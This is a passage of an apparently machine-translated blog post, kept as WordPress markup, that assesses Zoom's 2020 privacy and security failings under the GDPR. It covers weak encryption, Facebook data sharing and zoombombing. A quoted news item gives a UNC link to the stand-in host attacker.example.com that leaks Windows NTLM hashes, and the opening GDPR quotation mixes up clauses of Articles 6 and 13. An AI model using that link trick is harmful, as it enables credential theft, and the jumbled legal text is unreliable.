-->\n\n<!-- wp:list -->\n<ul><li>the period during which the personal data will be stored or, if this is not possible, the criteria used to determine this period;<ul><li>the existence of the right to request the controller to access and rectify or erase personal data or limit the processing of the data subject or to object to the processing, as well as the right to data portability;</li><li>when the processing is based on <a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a></li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(b)</td><td>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474552866158762/lUSDi1LCeNToH0-YhyPHH2u5zP8XMScS-7rXgfJJ4lgc_\">44</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(c)</td><td>processing is necessary for compliance with a legal obligation to which the controller is subject;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474558914345162/29nkaAa-TV1z09vgCflMTVkZMDpKnbrn-.rUAvZp4lgc_\">45</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(d)</td><td>processing is necessary in order to protect the vital interests of the data subject or of another natural person;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474561059731688/TQma13JQsCwPm9xrUy_1sMQZ1ZCDZNay-F7ZAS6Z4lgc_\">46</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(e)</td><td>processing is necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(f)</td><td>processing is necessary for the purposes of the legitimate interests pursued by the controller or by a third party, except where such interests are overridden by the interests or fundamental rights and freedoms of the data subject which require protection of personal data, in particular where the data subject is a child.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474563435804930/vkPLzTljn0yv1X9MeYGoEEr-rA6_cTh1-M7agNbJ4lgc_\">47</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474566331971862/ScYADCOpyP1WPiPqWEwCRANwX59HSpa3-Sragzbt4lgc_\">48</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474568554952998/StB04iR0wRxjn8pSv6iqZPvnyAH8Erqc-WbZAM8R4lgc_\">49</a>]Point (f) of the first subparagraph shall not apply to processing carried out by public authorities in the performance of their tasks.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474521228523492/pT-IHPTR70ObGVOAgpkK6E-zrysuvNqA-cbbgjc14lgc_\">40</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474569911810356/fz01QVk7tkgCOCGLgzBVQTMNUOJlSZw4-jLYAQNp4lgc_\">50</a>]2.&nbsp;&nbsp;&nbsp;Member States may maintain or introduce more specific provisions to adapt the application of the rules of this Regulation with regard to processing for compliance with points&nbsp;(c) and&nbsp;(e) of paragraph 1 by determining more precisely specific requirements for the processing and other measures to ensure lawful and fair processing including for other specific processing situations as provided for in Chapter IX.<br>3.&nbsp;&nbsp;&nbsp;The basis for the processing referred to in point (c) and (e) of paragraph&nbsp;1 shall be laid down by:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(a)</td><td>Union law; or</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(b)</td><td>Member State law to which the controller is subject.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>The purpose of the processing shall be determined in that legal basis or, as regards the processing referred to in point (e) of paragraph 1, shall be necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller. That legal basis may contain specific provisions to adapt the application of rules of this Regulation, inter alia: the general conditions governing the lawfulness of processing by the controller; the types of data which are subject to the processing; the data subjects concerned; the entities to, and the purposes for which, the personal data may be disclosed; the purpose limitation; storage periods; and processing operations and processing procedures, including measures to ensure lawful and fair processing such as those for other specific processing situations as provided for in Chapter IX. The Union or the Member&nbsp;State law shall meet an objective of public interest and be proportionate to the legitimate aim pursued.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474527262029836/dvE2poFdUQW0pMb3catm7bYDCpLmhXaT-nrZgdON4lgc_\">41</a>]4.&nbsp;&nbsp;&nbsp;Where the processing for a purpose other than that for which the personal data have been collected is not based on the data subject\'s consent or on a Union or Member&nbsp;State law which constitutes a necessary and proportionate measure in a democratic society to safeguard the objectives referred to in Article 23(1), the controller shall, in order to ascertain whether processing for another purpose is compatible with the purpose for which the personal data are initially collected, take into account, inter alia:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(a)</td><td>any link between the purposes for which the personal data have been collected and the purposes of the intended further processing;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(b)</td><td>the context in which the personal data have been collected, in particular regarding the relationship between data subjects and the controller;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(c)</td><td>the nature of the personal data, in particular whether special categories of personal data are processed, pursuant to Article 9, or whether personal data related to criminal convictions and offences are processed, pursuant to Article 10;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(d)</td><td>the possible consequences of the intended further processing for data subjects;</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<table class=\"wp-block-table\"><tbody><tr><td>(e)</td><td>the existence of appropriate safeguards, which may include encryption or pseudonymisation.</td></tr></tbody></table>\n<!-- /wp:table -->\n\n<!-- wp:list -->\n<ul><li><strong>&nbsp;</strong>paragraph 1, point a), or on&nbsp;&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;paragraph 2, point a), the existence of the right to withdraw consent at any time, without affecting the lawfulness of processing based on consent before its withdrawal; <ul><li>the right to lodge a complaint with a supervisory authority;</li><li>if the provision of personal data is a legal or contractual requirement, or a requirement necessary for concluding a contract, as well as if the data subject is required to provide the personal data and the possible consequences of the non-provision of these data;</li><li>the existence of automated decision-making, including profiling, referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article</a><a href=\"https://gdpr-info.eu/art-22-gdpr/\">22&nbsp;</a>paragraphs 1 and 4, and, at least in these cases, significant information on the logic involved, as well as the meaning and the intended consequences of such processing of the data subject. </li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>When the controller intends to continue processing personal data for a purpose other than that for which this data was collected, the controller shall provide the data subject, before any further processing, with information on this other purpose and any other relevant information referred to in paragraph 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Paragraphs 1, 2 and 3 do not apply when and to the extent that the data subject already has information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be provided at the time of data collection, that is to say before guests join the meeting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data retention periods should be notified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The purpose limitation requirement means that it must be clear from the privacy notice who accesses the data and for what specific purpose.&nbsp;Sharing data with Facebook was contrary to the GDPR.&nbsp;Even if the developer Zoom has changed this, users still need to update their application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These data must not be used for purposes other than those intended, such as training facial recognition without the consent of the parties concerned.&nbsp;The host is responsible for respecting these principles and in particular for further processing by Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\'s privacy policy has raised justified fears:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy&amp;usg=ALkJrhiXuIM3FxckpUdM063Nlg05HEGVVw\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a>&nbsp;claims the right to collect and store personal data and share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Until it was modified during the weekend, pre-dated to March 18&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy%3Fzcid%3D1231&amp;usg=ALkJrhjXxUKpAt6WjZSaZK-4ByFbXN8nFQ\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;&nbsp;on Sunday after users reported concerns, and&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/ericsyuan/status/1244682869974290433&amp;usg=ALkJrhhCE2HKENibcfSYKh1Zs_schKLqXA\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>&nbsp;, Eric S. Yuan, chief executive and founder of Zoom, posted a link on Twitter to a company blog item about the policy.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html&amp;usg=ALkJrhi4Od7ZPREXg0oezpaxW1n_iYG3BA\">NYTimes</a></em></li><li><em>In a statement for this article, the company said it took “its users\' privacy, security and trust extremely seriously,” and had been “working around the clock to ensure that hospitals, universities, schools and other businesses across the world can stay connected and operational. ”</em></li><li><em>“We appreciate the New York attorney general\'s engagement on these issues and are happy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom&nbsp;<strong>privacy notice</strong>&nbsp;grants access to data even though for people who have not a Zoom account</em></li><li><em>Zoom\'s privacy policy gives the company rights to collect personal data of people regardless of whether they have a Zoom account.&nbsp;This data they might collect on non-Zoom customers might include their physical address, debit card information and even what device they are using.</em></li><li><em>They keep the right to collect and share information with unspecified third parties in present and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design or Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom has few protective safeguards, but they are disabled by default.&nbsp;No processing must be carried out without transparency or consent expressed by positive act of the subjects concerned.&nbsp;In this case it is not very clear when a recording is made or enable subsequent uses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The application included an&nbsp;<em><a href=\"https://www.vice.com/en_us/article/qjdnmm/working-from-home-zoom-tells-your-boss-if-youre-not-paying-attention\">attention tracking</a></em>&nbsp;option&nbsp;which enabled the host to draw the attention of participants if they visited other sites or switched to other windows.&nbsp;This overly intrusive option has been disabled.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again, a privacy notice should clarify the consent required from participants.&nbsp;It is not activated by default, knowing that biometric, health or data belonging to minors are special categories requiring express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small&nbsp;<strong>red button when recording</strong>&nbsp;- can be easily missed.&nbsp;There is an option of request recording consent at the beginning - what about the ones joining in in the course of the meeting?&nbsp;The consent request is OFF by default.&nbsp;<strong>Privacy by design</strong>&nbsp;: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Security obligation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limit access to data to secure content and paramount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence&nbsp;of&nbsp;end&nbsp;to&nbsp;end&nbsp;encryption&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The encryption of communications or encryption was part of Zoom\'s promises but was found to be encryption of the TLS browser type and not UDP as revealed by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/03/31/zoom-meeting-encryption/&amp;usg=ALkJrhj_guVRLG1cA5OOHr70YGBNDHE1Ig\"><em>Intercept</em></a><em>&nbsp;.</em>&nbsp;Zoom apologized and acknowledged the failure. However, end-to-end encryption is mandatory to ensure data protection, especially as it can be of a special category.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, it turns out that the data would be stored on Amazon S3 in clear text and would not even be encrypted.&nbsp;Consequently, any Zoom employee or developer having access to S3 compartments for development and maintenance activities could intercept them and take them over for such possible processing.&nbsp;There is therefore no real confidentiality on these recordings.&nbsp;This problem is far from negligible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only barrier between private and public registration is the security of the Zoom firewall and the other things they have in place.&nbsp;Once these have been breached, for example by a phishing attack, the S3 buckets are a fair game.&nbsp;A decent encryption system on the stored records would have been essential here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings.&nbsp;Zoom video meetings use a combination of TCP and UDP.&nbsp;TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection. ”</em></li><li><em>On 4/3, Citizen Lab&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/&amp;usg=ALkJrhhj-xFkzL6wWLEyhE9l5tQs4KtiSQ\">reported</a></em></li><li><em>Zoom&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf&amp;usg=ALkJrhjRuNn2NyO5UW6XvkdjGs6nddVezw\">documentation</a>&nbsp;&nbsp;claims that the app uses “AES-256” encryption for meetings where possible.&nbsp;However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video.&nbsp;The use of ECB mode is not recommended because patterns present in the complaintxt are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">Reported by the Security expert Schneier in his blog</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/&amp;usg=ALkJrhhXJmIB4Ly6Kngg7C516Jfs9a7tsA\">Does Zoom uses end to end encryption?</a></em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation?&nbsp;Once again, Eu personal data is in between China interception and the US Cloud Act interception.&nbsp;Data sent outside the EU in China without users knowledge.&nbsp;“As&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a&amp;usg=ALkJrhgaDkE_hlcUSP7YJqi06wRCEjhC7g\">Citizen Lab</a>&nbsp;hadn\'t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn\'t have been aware of the findings.&nbsp;But Yuan assured that if user data was being transferred to China when users weren\'t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We\'ve even learnt that Zoom would transfer data for encryption in China, which the CEO did not fail to recognise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/&amp;usg=ALkJrhihFJikKTlR7PipcATumdXwiVt5iw\">Zoom\'s Encryption Is “Not Suited For Secrets” And Has Surprising Links To China, Researchers Discover</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The outrages go further, April 1 news has fallen, Zoom would take over the passwords saved by Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/1, we learned that Zoom for Windows can be used to&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/&amp;usg=ALkJrhjX5199lL8vGczS9pa11BABF_qpdQ\">steal</a>&nbsp;&nbsp;users\' Window credentials.</em></li><li><em>Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they\'re using.&nbsp;The Zoom app for Windows automatically converts these so-called&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.lifewire.com/unc-universal-naming-convention-818230&amp;usg=ALkJrhhKEUUU1tcfso1zMP4yBzUhZIhFIg\">universal naming convention</a>&nbsp;&nbsp;strings - such as \\\\ attacker.example.com/C$ - into clickable links.&nbsp;In the event that targets click on those links on networks that aren\'t fully locked down, Zoom will send the Windows usernames and the corresponding&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers&amp;usg=ALkJrhhTkh_RXrXKpS9uiPZAwvs0q3ICJg\">NTLM</a>&nbsp;&nbsp;hashes to the address contained in the link</em>&nbsp;.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On April 2 we learned that Zoom would access personal data extracted from users\' Linkedin profiles:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html&amp;usg=ALkJrhgBR4-SVDPjo0aBd9tZp9zmVycoew\">secretly displayed</a>&nbsp;&nbsp;data from people\'s LinkedIn profiles, which allowed some meeting participants to snoop on each other.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html&amp;usg=ALkJrhi8dhovhmXzrKVOru6TbZf0uRsHMg\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/&amp;usg=ALkJrhg5ZnpDG7iIxhk7m_WpPfUa8aMFCQ\">Every Zoom Security and Privacy Flaw So Far, and What You Can Do to Protect Yourself</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Very quickly came the news of intruders inviting themselves in the middle of meetings, intrusion qualified as \'ZoomBombing\':</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://mashable.com/article/videoconference-crashed-naked-man-privacy/%3Feurope%3Dtrue&amp;usg=ALkJrhjR6Sw90cPUEDuhJeqBhRkaDdJXWQ\">Naked man crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content&amp;usg=ALkJrhiMnWp2LT-piu8zsdPBxKS-Z_lapQ#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals spewing racist, misogynistic or vulgar content. Experts say professors using Zoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://techcrunch.com/2020/03/17/zoombombing/&amp;usg=ALkJrhhOYYrun5JfIFQJvOqvQAyTR7tf1w\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A troll entered the call and screenshared Two Girls, One Cup and other horrifying sexual videos. Attempts to block the attack were thwarted as the perpetrator simply re-entered the call</a></em></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-commn-privacy-senate/u-s-senate-tells-members-to-avoid-zoom-over-data-security-concerns-ft-idUSKCN21R0VU\">U.S. Senate tells members to avoid Zoom over data security concerns: FT</a></li><li><a href=\"https://twitter.com/OpenRightsGroup/status/1251185825292959746?s=20\">An Open Rights Group Zoom meeting was disturbed by child pedo pornographic images</a>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Another problem possibly solved by Zoom, data sharing with Facebook using the SDK denounced by&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">Motherboard</a>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\" target=\"_blank\" rel=\"noreferrer noopener\">article on the news site Motherboard</a>&nbsp;&nbsp;reported that software inside the Zoom iPhone app was sending user data to Facebook, the company said it was&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook&amp;usg=ALkJrhiBjKxqHJbRNsUzNiBzSnjKGu_eIQ\" target=\"_blank\" rel=\"noreferrer noopener\">removing the tracking software</a>&nbsp;.</em></li><li><em>Zoom, like other apps, uses&nbsp;<strong>Facebook \'</strong>&nbsp;s software development kits (SDK) to implement features quickly.&nbsp;In exchange, Facebook gains useful information about users.&nbsp;As Vice\'s Motherboard explains, Zoom connects to Facebook\'s Graph API, which is the way developers get data in or out of Facebook.</em></li><li><em>The Zoom app notifies Facebook when the user opens the app, details on the user\'s device such as the model, the time zone and city they are connecting from, which phone carrier they are using, and a unique advertiser identifier created by the user\'s device which companies can use to target a user with advertisements.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom has modified this flaw, inviting users to update their Application:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn&amp;usg=ALkJrhhj0kU0EpB7XEcY6hsO35ungrFIVw\">Zoom Removes Its Facebook Data Sharing on iOS amid Possible GDPR Violations</a></em></li><li><em>Zoom has removed its&nbsp;<strong>Facebook SDK</strong>&nbsp;for iOS integration after a report&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account&amp;usg=ALkJrhhe756KpcI61AROU90GQAyYJCyVcQ\">from Motherboard</a>&nbsp;.</em></li><li><em>the developers&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/&amp;usg=ALkJrhjbWj_636LN_e_zuHG0c3wlkC21zQ\">&nbsp;in a statement</a>&nbsp;.&nbsp;“Users will need to update to the latest version of our application that\'s already available at 2:30 pm Pacific time on Friday, March 27, 2020, in order for these changes to take hold, and we strongly encourage them to do so.&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">Electronic Frountier Foundation</a>&nbsp;alerts that users still don\'t know how to erase the information collected</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any information that was gathered about their device.&nbsp;This removal also doesn\'t address any of the app\'s other potential privacy issues.&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis&amp;usg=ALkJrhitNfjDWxlOvVPtNAgcg5PwozKH3g\">The EFF points out</a>&nbsp;&nbsp;that Zoom administrators can get detailed information about how, when, and where users are using the app, with real-time dashboards.&nbsp;As it\'s an intentional feature, it\'s unlikely the companywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>We read in&nbsp;<a 